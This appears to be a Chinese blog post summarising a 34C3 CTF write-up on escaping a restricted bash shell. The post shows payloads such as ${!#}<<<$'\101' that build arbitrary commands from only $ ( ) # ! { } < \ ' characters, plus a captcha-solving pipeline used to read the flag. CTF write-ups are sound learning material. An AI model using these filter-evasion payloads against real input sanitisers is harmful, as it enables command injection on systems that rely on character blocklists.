34C3 ctf writeup

又一篇writeup讀後感。。什麼時候能寫自己的writeup。。

misc

minbashmaxfun

Minimal bash - maximal fun!

nc 35.198.107.77 1337

Difficulty: medium

nc之後出現長這樣的bash提示:min-bash>:,輸入一些東西出現:

+=============================================================+
    |                MINIMAL BASH - MAXIMAL FUN                   | 
    |                                                             | 
    |            Who needs regular characters anyway?             |  
    |                                                             | 
    |         Supported characters: $ ( ) # ! { } < \ ' ,         |
    |                                                             |
    |         Supported binaries: i'm sure there is some          |
    |                                                             |
    |               Iz also open-source: 'source'                 |
    |                                                             |
    +=============================================================+

輸入source,出現:

                                                                         .---. 
      Source iz sumthing like dis:                                      /  .  \ 
                                                                       |\_/|   | 
                                                                       |   |  /| 
      .----------------------------------------------------------------------' | 
     /  .-.                                                                    | 
    |  /   \                                                                   | 
    | |\_.  |     [....]                                                       | 
    |\|  | /|                                                                  | 
    | `---' |     /* these 11 chars should be more than enough  */             | 
    |       |     re = regcomp(&regex, "[^${}!#()<'\\,]", 0);                  |  
    |       |                                                                  |  
    |       |     [....]                                                       |  
    |       |                                                                  |  
    |       |     if (REG_NOMATCH == regexec(&regex, input, 0, NULL, 0))  {    |  
    |       |                                                                  |  
    |       |         [....]                                                   |  
    |       |                                                                  |  
    |       |         fclose(stdin);                                           |  
    |       |         execl("/bin/bash", "/bin/bash", "-c", input, NULL);      |  
    |       |                                                                  |  
    |       |         [....]                                                   |  
    |       |     }                                                            |  
    |       |                                                                  |  
    |       |     [....]                                                       |  
    |       |                                                                  / 
    |       |-----------------------------------------------------------------' 
    \       | 
     \     /         
      `---' 

所以意思就是,讓我們只用 $ ( ) # ! { } < \ ‘這些字符構造bash語句,然後獲得flag。那,首先必須瞭解這些符號的用法,通過查找,找到一些比較有用的:

  • #:除了註釋用,在單/雙引號包圍時,#作爲#號字符本身
  • ${}:參數替換(Variable substitution),用於在字符串中表示變量
  • $’…’:引用內容展開,執行單引號內的轉義內容(單引號原本是原樣引用的),這種方式會將引號內的一個或者多個[]轉義後的八進制,十六進制值展開到ASCII或Unicode字符。
  • $#:表示傳遞給腳本的參數數量。
  • $$:進程ID變量,這個變量保存了運行當前腳本的進程ID值。
  • ():命令組(Command group)。由一組圓括號括起來的命令是命令組,命令組中的命令實在子shell(subshell)中執行。因爲是在子shell內運行,因此在括號外面是沒有辦法獲取括號內變量的值,但反過來,命令組內是可以獲取到外面的值,這點有點像局部變量和全局變量的關係,在實作中,如果碰到要cd到子目錄操作,並在操作完成後要返回到當前目錄的時候,可以考慮使用subshell來處理;
  • (()):表示整數擴展(integer expansion)。不會返回值。執行後如果變量值發生變化,都會影響到後繼代碼的運行。可對變量賦值,可以對變量進行一目操作符操作,也可以是二目,三目操作符。
  • cmd < file :使cmd命令從file讀入
  • cmd << text :從命令行讀取輸入,直到一個與text相同的行結束。除非使用引號把輸入括起來,此模式將對輸入內容進行shell變量替換。如果使用<<- ,則會忽略接下來輸入行首的tab,結束行也可以是一堆tab再加上一個與text相同的內容,可以參考後面的例子。
  • cmd <<< word :把word(而不是文件word)和後面的換行作爲輸入提供給cmd。
    參考:http://blog.useasp.net/archive/2014/06/02/summary-of-the-special-characters-in-shell-on-linux.aspx

嘗試一下,此處強調要加建立<<<管道,將我們的命令輸入給另一個實例,比如$0

${!#}<<<${##}$#${##}\'

也就是

$0<<<$'\101'

101是A的ASCII碼值,所以其實是嘗試執行命令“A”,果然成功:

bash: A: command not found

那麼下一步就是構造命令並嘗試了。
目前爲止可以用${##}構造1,一個#g構造0了,但是這些數字顯然不能構造所有數字,進而通過ASCII碼轉化得到所有字母,所以下一步考慮構造二進制,如$'\154'

${!#}<<<$((2#${##}$#$#${##}${##}$#${##}$#))

其中2#表示二進制,再替換掉2:

${!#}<<<$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))

成功!所以這下就可以任意構造語句了,用腳本文件嘗試拿flag:

./convert.py 'ls -la' | nc 35.198.107.77 1337

結果出來一個問題讓回答:

Please solve this little captcha:
530892629 + 3254451000 + 4211578791 + 2425633949 + 368428465
10790984834 != 0 :(

再次使用管道:

bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out

得到flag。這個真是要熟悉shell啊,簡直了。這個write up的參考,包括convert.py詳細代碼請移步https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章